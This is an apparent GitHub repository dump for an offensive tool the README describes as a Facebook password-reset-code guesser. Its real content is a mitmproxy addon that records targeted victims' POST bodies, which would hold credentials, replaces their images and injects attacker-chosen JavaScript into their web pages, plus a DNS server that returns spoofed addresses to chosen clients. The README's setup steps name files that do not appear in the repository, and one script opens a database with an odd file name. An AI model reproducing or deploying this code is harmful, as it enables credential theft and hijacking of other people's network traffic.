├── .gitignore ├── WOLF.py ├── requirements.txt ├── .travis.yml ├── README.md ├── proxyScript.py ├── setup.py └── dnsServer.py /.gitignore: -------------------------------------------------------------------------------- 1 | config.cfg 2 | yehia1hacker.db 3 | -------------------------------------------------------------------------------- /WOLF.py: -------------------------------------------------------------------------------- 1 | #Stop Tool 2 | print ("https://www.facebook.com/yehia.hacker") 3 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | mitmproxy 3 | threading 4 | BeautifulSoup 5 | mechanize 6 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 3 | - "3.3" 4 | - "3.4" 5 | - "3.5" 6 | - "3.6" 7 | install: 8 | - pip install -r requirements.txt 9 | script: 10 | - python -c "import yehia1hacker, setup, dnsServer, proxyScript" 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | This tool to guess the password reset code for Facebook 2 | The tool has stopped 3 | 4 | apt-get install python3 5 | 6 | pip3 install requests bs4 7 | 8 | apt-get install git 9 | 10 | git clone https://github.com/yehia-hacker/WOLF.git 11 | 12 | ls 13 | 14 | cd WOLF 15 | 16 | ls 17 | 18 | chmod +x Encrypted.py 19 | 20 | chmod +x PROXY-VBN.py 21 | 22 | chmod +x Script 23 | 24 | chmod +x WOLF-16-YEHIA.py 25 | 26 | ls 27 | 28 | chmod +x WOLF.py 29 | 30 | python3 WOLF.py 31 | 32 | 33 | _________________________________________________________________________ 34 | ------------------------------Yehia -******--HACKER----------------------- 35 | ________________________________________________________________________ 36 | -------------------------------------------------------------------------------- /proxyScript.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -.- coding: utf-8 -.- 3 | # proxyScript.py 4 | # yehia1hacker 5 | 6 | from mitmproxy import http 7 | from bs4 import BeautifulSoup 8 | import sqlite3, time, os, base64 9 | 10 | script_path = os.path.dirname(os.path.realpath(__file__)) + "/" 11 | DBconn = sqlite3.connect(script_path + "yehia1hacker.db") 12 | DBcursor = DBconn.cursor() 13 | DBcursor.execute("CREATE TABLE IF NOT EXISTS yehia1hacker_mitm (id integer primary key autoincrement, source TEXT,host TEXT, url TEXT, method TEXT, data TEXT, dns TEXT)") 14 | DBcursor.execute("CREATE TABLE IF NOT EXISTS yehia1hacker_img (attackid TEXT, target TEXT, img TEXT, targetip TEXT)") 15 | DBcursor.execute("CREATE TABLE IF NOT EXISTS yehia1hacker_attacks (id integer primary key autoincrement, attackid TEXT, attack_type TEXT, target TEXT)") 16 | DBcursor.execute("CREATE TABLE IF NOT EXISTS yehia1hacker_js (attackid TEXT, target TEXT, jsurl TEXT)") 17 | DBconn.commit() 18 | DBconn.close() 19 | 20 | # source, host, url, method, data, time 21 | 22 | def request(flow): 23 | DBconn = sqlite3.connect(script_path + "yehia1hacker.db") 24 | DBcursor = DBconn.cursor() 25 | DBcursor.execute("SELECT attackid FROM yehia1hacker_attacks WHERE target=? AND attack_type='mitm' ORDER BY id DESC LIMIT 1", [str(flow.client_conn.address()[0])]) 26 | data = DBcursor.fetchone() 27 | if not data == None: 28 | if flow.request.method == "POST": 29 | DBcursor.execute("INSERT INTO yehia1hacker_mitm(source, host, url, method, data, dns) VALUES (?, ?, ?, ?, ?, ?)", [str(flow.client_conn.address()[0]), str(flow.request.host), str(flow.request.pretty_url), str(flow.request.method), str(flow.request.text), "0"]) 30 | DBconn.commit() 31 | print(str(flow.client_conn.address()[0]) + " - " + flow.request.host + " - " + flow.request.pretty_url + " - " + flow.request.method + " - " + str(flow.request.text) + " - " + "0") 32 | else: 33 | DBcursor.execute("INSERT INTO yehia1hacker_mitm(source, host, url, method, data, dns) VALUES (?, ?, ?, ?, ?, ?)", [str(flow.client_conn.address()[0]), str(flow.request.host), str(flow.request.pretty_url), str(flow.request.method), "false", "0"]) 34 | DBconn.commit() 35 | print(str(flow.client_conn.address()[0]) + " - " + flow.request.host + " - " + flow.request.pretty_url + " - " + flow.request.method + " - " + "false" + " - " + "0") 36 | DBconn.close() 37 | 38 | def response(flow): 39 | if flow.response.headers.get("content-type", "").startswith("image"): 40 | DBconn = sqlite3.connect(script_path + "yehia1hacker.db") 41 | DBcursor = DBconn.cursor() 42 | DBcursor.execute("SELECT img FROM yehia1hacker_img WHERE targetip = ?", [str(flow.client_conn.address()[0])]) 43 | data = DBcursor.fetchall() 44 | if not data == []: 45 | img = data[0][0] 46 | img = base64.b64decode(img) 47 | flow.response.content = img 48 | flow.response.headers["content-type"] = "image/png" 49 | DBconn = sqlite3.connect(script_path + "yehia1hacker.db") 50 | DBcursor = DBconn.cursor() 51 | DBcursor.execute("SELECT attackid FROM yehia1hacker_attacks WHERE target=? AND attack_type='injectjs' ORDER BY id DESC LIMIT 1", [str(flow.client_conn.address()[0])]) 52 | data = DBcursor.fetchone() 53 | if not data == None: 54 | if "content-type" in flow.response.headers: 55 | if flow.response.headers["content-type"][:9] == 'text/html': 56 | html = BeautifulSoup(flow.response.get_text(), "lxml") 57 | if html.body: 58 | DBcursor.execute("SELECT jsurl FROM yehia1hacker_js WHERE target = ?", [str(flow.client_conn.address()[0])]) 59 | data = DBcursor.fetchall() 60 | for item in data: 61 | jsurl = item[0] 62 | jsurl = base64.b64decode(jsurl) 63 | jsurl = jsurl.decode("UTF-8") 64 | script = html.new_tag( 65 | "script", 66 | src=jsurl) 67 | html.body.insert(0, script) 68 | flow.response.text = str(html) 69 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -.- coding: utf-8 -.- 3 | # setup.py 4 | # yehia1hacker 5 | #I-love-python 6 | #facebook : https://www.facebook.com/yehia.hacker 7 | 8 | import os 9 | 10 | print('MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNNNNNNNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM') 11 | print('MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmhyo+:--.`` ``.--/+oyhmNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM') 12 | print('MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNds+-.` `.:+ydNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM') 13 | print('MMMMMMMMMMMMMMMMMMMMMMMMMMNho:` `.:ohNMMMMMMMMMMMMMMMMMMMMMMMMMM') 14 | print('MMMMMMMMMMMMMMMMMMMMMMMmy/. `./yNMMMMMMMMMMMMMMMMMMMMMMM') 15 | print('MMMMMMMMMMMMMMMMMMMMNy:` ---Yehia-- `/hNMMMMMMMMMMMMMMMMMMMM') 16 | print('MMMMMMMMMMMMMMMMMMdo. .omMMMMMMMMMMMMMMMMMM') 17 | print('MMMMMMMMMMMMMMMMd/` `+dMMMMMMMMMMMMMMMM') 18 | print('MMMMMMMMMMMMMMd/` `/mMMMMMMMMMMMMMM') 19 | print('MMMMMMMMMMMMm+` .:. ```..------------..``` `-:. .oNMMMMMMMMMMMM') 20 | print('MMMMMMMMMMMy. `/sdy:` `.....--.``-.`-.`.-``.--.....` `/hds:` -hMMMMMMMMMMM') 21 | print('MMMMMMMMMN+` ...omMNs. ``...```..` -. .. .- `..```...` .sNMd+... `+NMMMMMMMMM') 22 | print('MMMMMMMMd: `:yo:hMMm/ `.-.` .-` .. .. .. `-. `--.` +mMMh:os: /mMMMMMMMM') 23 | print('MMMMMMMd. `sNy.hMms// `..``....--` `- .. `-` `--....``..` +/smMy.hNs` -dMMMMMMM') 24 | print('MMMMMMd. ``sMN-odo/sd- `..` .-.......--``-:+o+/-`--.......-` `..` -ds/od+:NMo`` -dMMMMMM') 25 | print('MMMMMd. :+:NMh`/ohNd- `..` `-` `.-``oNh:/dMNo.-.` `-` `-. :mNh+/.dMm-o- -mMMMMM') 26 | print('MMMMN- /N//MN+omNmo. `-. `-` .. :ho-.yMNo -. .-` .-` .omNmo+MN:om: :NMMMM') 27 | print('MMMM+ .mM/:NdmNy+: `-` -. -` .omh/` .- .- .-` :+hNmdN:+Mm` sMMMM') 28 | print('MMMh` +MMo:Nms:+h: `--..`` .- `-` :y- `-` -. ``..--` :h//yNm-sMM/ `dMMM') 29 | print('MMM: sMMh-y/omMo `-` ``......-.`` .- :: -. ```.-......`` .-` sMdo/y-dMMo /M.M') 30 | print('MMd` `oMMd.+mMMo` -. .-`........--...``+dd/``...--........`-. .. `oMMm+`mMM+` `dMM') 31 | print('MMo ./-NMhoNMm+ `- -. `-.`````/dh:`````.- .- `-` omMN+dMN.+` sMM') 32 | print('MN- ss`sMyMMy.o -. `-` -. -- .- `- .- `o.yMNhMo`yo :NM') 33 | print('MN``hm-`mNN/`sd `-` `-` `-` ``-+oo+-`` .- `-` `- ms`+NNd`:Ny .NM') 34 | print('Mm `hMh`/N:.hMo `-` .-` `-./y--smMMds--y:.-` `-` `-` sMh./N:`dMy `mM') 35 | print('Mm oMMy./-mMm- `--.........---......--/smMN /NN: `NMms/-.......---.........--` :NMd.+.hMM/ mM') 36 | print('Mm `NMMs hMMs `-` .-`:+osydmNMMMM+ -/hy/. oMMMMNmhyso+:`-` `-` yMMy`yMMN` `mM') 37 | print('MN` `+NMN:MMd./ `-` `-oMMMMMMMMMMMN- .md` :NMMMMMMMMMMM+-` `- /.mMN:NMN/. .NM') 38 | print('MN:`s`/mMsMM/.d: -. `:dMMMMMMMMMMMN: +MM/ /NMMMMMMMMMMMh: .- +d`+MNyMm:.s`/NM') 39 | print('MMo yd-.ymNm`:Mh` `- /NMMMMMMMMMMMMy yMMs hMMMMMMMMMMMMm: `-` `hN:`NmNy.:ds sMM') 40 | print('MMd`:MNo./mh yMm. -. oNMMMMMMMMMMMMM/ hMMy /MMMMMMMMMMMMMN+ .. -NMs mm:.oNN-`mMM') 41 | print('MMM: oNMm+-o`mMM:` `-. ``.....hMMMMMMMMMMMMMMN/ dMMy +NMMMMMMMMMMMMMMy.....`` .- `:MMm o-omMN+ /MMM') 42 | print('MMMh` /mMMd/`mMM::o``--.``` dMMMMMMMMMMMMMMMNomMMdsNMMMMMMMMMMMMMMMh ```.--``o-+MMd +dMMm: .dMMM') 43 | print('MMMMo -yNMNssMM+`dd.`-` .MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM` .-`.dd sMMoyNMNy- sMMMM') 44 | print('MMMMN- :::ymNddMd sMd.`-. /MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM: .-`-dM+`dMddNms-/: :MMMMM') 45 | print('MMMMMd-`yy-./ydNN::NMh` .-` sMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMo `-. .dMN-/NNdy:.:ys`-mMMMMM') 46 | print('MMMMMMd..sNh+--/ys.hMMs`.....hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMy`....`yMMy.ys/-:odNs`-mMMMMMM') 47 | print('MMMMMMMd-`/dMNdy+/--mMN//y/.:mMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMd-./y:+MMm--/oymNMh/ -mMMMMMMM') 48 | print('MMMMMMMMm/ `/ymMMNmsodMm-oNhomMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMmodm+:mMhoymNMMmy:` /mMMMMMMMM') 49 | print('MMMMMMMMMN+` `:oymNNNmmNd-oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN+-mNmmNNNmy+-` `oNMMMMMMMMM') 50 | print('MMMMMMMMMMMh- .++:::/osydh//dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNd//hdys+/:::++` -hMMMMMMMMMMM') 51 | print('MMMMMMMMMMMMNo.`/yhhyssoooo+/ohmNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmho/+oooossyhhy:`.oNMMMMMMMMMMMM') 52 | print('MMMMMMMMMMMMMMm/` -/ydNNMMMMMMNmmdhsyMMMMMMMMMMMMMMMMMMMMMMMMMMyyhdmmNMMMMMMNmdy/. .+mMMMMMMMMMMMMMM') 53 | print('MMMMMMMMMMMMMMMMd+. `://++++/:---/sdMMMMMMMMMMMMMMMMMMMMMMMMMMho:---:/++++//:` .+dMMMMMMMMMMMMMMMM') 54 | print('MMMMMMMMMMMMMMMMMMmo.`.+sssoooshdNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdhsooosss/.`-smMMMMMMMMMMMMMMMMMM') 55 | print('MMMMMMMMMMMMMMMMMMMMNh/``:+ydmNNNmdymMMMMMMMMMMMMMMMMMMMMMMMMMMdydmNNNmdy+:`./hNMMMMMMMMMMMMMMMMMMMM') 56 | print('MMMMMMMMMMMMMMMMMMMMMMMNy/.` hMMMMMMMMMMMMMMMMMMMMMMMMMMy `./hNMMMMMMMMMMMMMMMMMMMMMMM') 57 | print('MMMMMMMMMMMMMMMMMMMMMMMMMMNds:.` `dMMMMMMMMMMMMMMMMMMMMMMMMMMd `./sdNMMMMMMMMMMMMMMMMMMMMMMMMMM') 58 | print('MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdy+::mMMMMMMMMMMMMMMMMMMMMMMMMMMm::oydNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM') 59 | print('MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM') 60 | print('MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM') 61 | if __name__ == '__main__': 62 | 63 | os.system("python WOLF.py") 64 | -------------------------------------------------------------------------------- /dnsServer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -.- coding: utf-8 -.- 3 | # dnsServer.py 4 | # 2019 5 | # Copyright: 2019 ---yehia1hacker-- 6 | # yehia hacker 7 | 8 | import socketserver 9 | import sqlite3 10 | import socket 11 | import sys 12 | import os 13 | 14 | DNS_HEADER_LENGTH = 12 15 | #TODO make some DNS database with IPs connected to regexs 16 | 17 | def getIP(domain_name, client_address): 18 | try: 19 | dataip = socket.gethostbyname_ex(domain_name) 20 | ip = str(dataip[2][0]).strip("[] '") 21 | except socket.gaierror: 22 | ip = "0.0.0.0" 23 | 24 | script_path = os.path.dirname(os.path.realpath(__file__)) + "/" 25 | DBconn = sqlite3.connect(script_path + "hacked-New_folder.py") 26 | DBcursor = DBconn.cursor() 27 | DBcursor.execute("CREATE TABLE IF NOT EXISTS yehia1hacker_mitm (id integer primary key autoincrement, source TEXT,host TEXT, url TEXT, method TEXT, data TEXT, dns TEXT)") 28 | DBcursor.execute("CREATE TABLE IF NOT EXISTS yehia1hacker_dns (attackid TEXT, target TEXT, domain TEXT, fakeip TEXT)") 29 | DBcursor.execute("CREATE TABLE IF NOT EXISTS yehia1hacker_attacks (id integer primary key autoincrement, attackid TEXT, attack_type TEXT, target TEXT)") 30 | DBconn.commit() 31 | DBconn.close() 32 | 33 | DBconn = sqlite3.connect(script_path + "yehia1hacker.db") 34 | DBcursor = DBconn.cursor() 35 | DBcursor.execute("SELECT domain, fakeip FROM yehia1hacker_dns WHERE target = ?", [str(client_address[0])]) 36 | data = DBcursor.fetchall() 37 | if not data == []: 38 | if domain_name == data[0][0]: 39 | ip = data[0][1] 40 | 41 | DBcursor.execute("SELECT attackid FROM yehia1hacker_attacks WHERE target=? AND attack_type='mitm' ORDER BY id DESC LIMIT 1", [str(client_address[0])]) 42 | data = DBcursor.fetchone() 43 | if not data == None: 44 | DBcursor.execute("INSERT INTO yehia1hacker_mitm(source, host, url, method, data, dns) VALUES (?, ?, ?, ?, ?, ?)", [str(client_address[0]), domain_name, "false", False, ip, "1"]) 45 | DBconn.commit() 46 | DBconn.close() 47 | print("[+] Resolving " + domain_name + " to " + ip + " from " + str(client_address[0])) 48 | return ip 49 | 50 | class DNSHandler(socketserver.BaseRequestHandler): 51 | def handle(self): 52 | socket = self.request[1] 53 | data = self.request[0].strip() 54 | 55 | # If request doesn't even contain full header, don't respond. 56 | if len(data) < DNS_HEADER_LENGTH: 57 | return 58 | 59 | # Try to read questions - if they're invalid, don't respond. 60 | try: 61 | all_questions = self.dns_extract_questions(data) 62 | except IndexError: 63 | return 64 | 65 | # Filter only those questions, which have QTYPE=A and QCLASS=IN 66 | # TODO this is very limiting, remove QTYPE filter in future, handle different QTYPEs 67 | accepted_questions = [] 68 | for question in all_questions: 69 | name = str(b'.'.join(question['name']), encoding='UTF-8') 70 | if question['qtype'] == b'\x00\x01' and question['qclass'] == b'\x00\x01': 71 | accepted_questions.append(question) 72 | else: 73 | pass 74 | 75 | response = ( 76 | self.dns_response_header(data) + 77 | self.dns_response_questions(accepted_questions) + 78 | self.dns_response_answers(accepted_questions, name, self.client_address) 79 | ) 80 | socket.sendto(response, self.client_address) 81 | 82 | def dns_extract_questions(self, data): 83 | """ 84 | Extracts question section from DNS request data. 85 | See http://tools.ietf.org/html/rfc1035 4.1.2. Question section format. 86 | """ 87 | questions = [] 88 | # Get number of questions from header's QDCOUNT 89 | n = (data[4] << 8) + data[5] 90 | # Where we actually read in data? Start at beginning of question sections. 91 | pointer = DNS_HEADER_LENGTH 92 | # Read each question section 93 | for i in range(n): 94 | question = { 95 | 'name': [], 96 | 'qtype': '', 97 | 'qclass': '', 98 | } 99 | length = data[pointer] 100 | # Read each label from QNAME part 101 | while length != 0: 102 | start = pointer + 1 103 | end = pointer + length + 1 104 | question['name'].append(data[start:end]) 105 | pointer += length + 1 106 | length = data[pointer] 107 | # Read QTYPE 108 | question['qtype'] = data[pointer+1:pointer+3] 109 | # Read QCLASS 110 | question['qclass'] = data[pointer+3:pointer+5] 111 | # Move pointer 5 octets further (zero length octet, QTYPE, QNAME) 112 | pointer += 5 113 | questions.append(question) 114 | return questions 115 | 116 | def dns_response_header(self, data): 117 | """ 118 | Generates DNS response header. 119 | See http://tools.ietf.org/html/rfc1035 4.1.1. Header section format. 120 | """ 121 | header = b'' 122 | # ID - copy it from request 123 | header += data[:2] 124 | # QR 1 response 125 | # OPCODE 0000 standard query 126 | # AA 0 not authoritative 127 | # TC 0 not truncated 128 | # RD 0 recursion not desired 129 | # RA 0 recursion not available 130 | # Z 000 unused 131 | # RCODE 0000 no error condition 132 | header += b'\x80\x00' 133 | # QDCOUNT - question entries count, set to QDCOUNT from request 134 | header += data[4:6] 135 | # ANCOUNT - answer records count, set to QDCOUNT from request 136 | header += data[4:6] 137 | # NSCOUNT - authority records count, set to 0 138 | header += b'\x00\x00' 139 | # ARCOUNT - additional records count, set to 0 140 | header += b'\x00\x00' 141 | return header 142 | 143 | def dns_response_questions(self, questions): 144 | """ 145 | Generates DNS response questions. 146 | See http://tools.ietf.org/html/rfc1035 4.1.2. Question section format. 147 | """ 148 | sections = b'' 149 | for question in questions: 150 | section = b'' 151 | for label in question['name']: 152 | # Length octet 153 | section += bytes([len(label)]) 154 | section += label 155 | # Zero length octet 156 | section += b'\x00' 157 | section += question['qtype'] 158 | section += question['qclass'] 159 | sections += section 160 | return sections 161 | 162 | def dns_response_answers(self, questions, name, client_address): 163 | """ 164 | Generates DNS response answers. 165 | See http://tools.ietf.org/html/rfc1035 4.1.3. Resource record format. 166 | """ 167 | records = b'' 168 | for question in questions: 169 | record = b'' 170 | for label in question['name']: 171 | # Length octet 172 | record += bytes([len(label)]) 173 | record += label 174 | # Zero length octet 175 | record += b'\x00' 176 | # TYPE - just copy QTYPE 177 | # TODO QTYPE values set is superset of TYPE values set, handle different QTYPEs, see RFC 1035 3.2.3. 178 | record += question['qtype'] 179 | # CLASS - just copy QCLASS 180 | # TODO QCLASS values set is superset of CLASS values set, handle at least * QCLASS, see RFC 1035 3.2.5. 181 | record += question['qclass'] 182 | # TTL - 32 bit unsigned integer. Set to 0 to inform, that response 183 | # should not be cached. 184 | record += b'\x00\x00\x00\x00' 185 | # RDLENGTH - 16 bit unsigned integer, length of RDATA field. 186 | # In case of QTYPE=A and QCLASS=IN, RDLENGTH=4. 187 | record += b'\x00\x04' 188 | # RDATA - in case of QTYPE=A and QCLASS=IN, it's IPv4 address. 189 | record += b''.join(map( 190 | lambda x: bytes([int(x)]), 191 | getIP(name, client_address).split('.') 192 | )) 193 | records += record 194 | return records 195 | 196 | if __name__ == '__main__': 197 | # Minimal configuration - allow to pass IP in configuration 198 | if len(sys.argv) > 1: 199 | IP = sys.argv[1] 200 | host, port = '', 53 201 | server = socketserver.ThreadingUDPServer((host, port), DNSHandler) 202 | print('\033[36mStarted DNS server.\033[39m') 203 | try: 204 | server.serve_forever() 205 | except KeyboardInterrupt: 206 | server.shutdown() 207 | sys.exit(0) 208 | --------------------------------------------------------------------------------